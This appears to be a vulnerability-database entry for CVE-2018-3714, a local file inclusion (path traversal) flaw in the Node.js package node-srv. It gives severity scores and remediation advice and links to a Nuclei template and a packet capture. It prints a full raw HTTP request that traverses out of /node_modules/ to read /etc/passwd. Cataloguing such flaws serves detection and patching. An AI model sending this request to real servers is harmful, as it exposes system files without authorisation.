| Title | node-srv - Local File Inclusion |
|---|---|
| Author | madrobot |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in the node-srv application. |
| CVSS Score | 6.5 |
| EPSS Score | 0.74418 |
| CVE ID | CVE-2018-3714 |
| CWE ID | CWE-22 |
| Tags | cve cve2018 nodejs lfi hackerone node-srv_project node.js vuln |
node-srv is vulnerable to local file inclusion due to lack of url validation, which allows a malicious user to read content of any file with known path.
GET /node_modules/../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-3714.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-3714.pcap
N/AN/A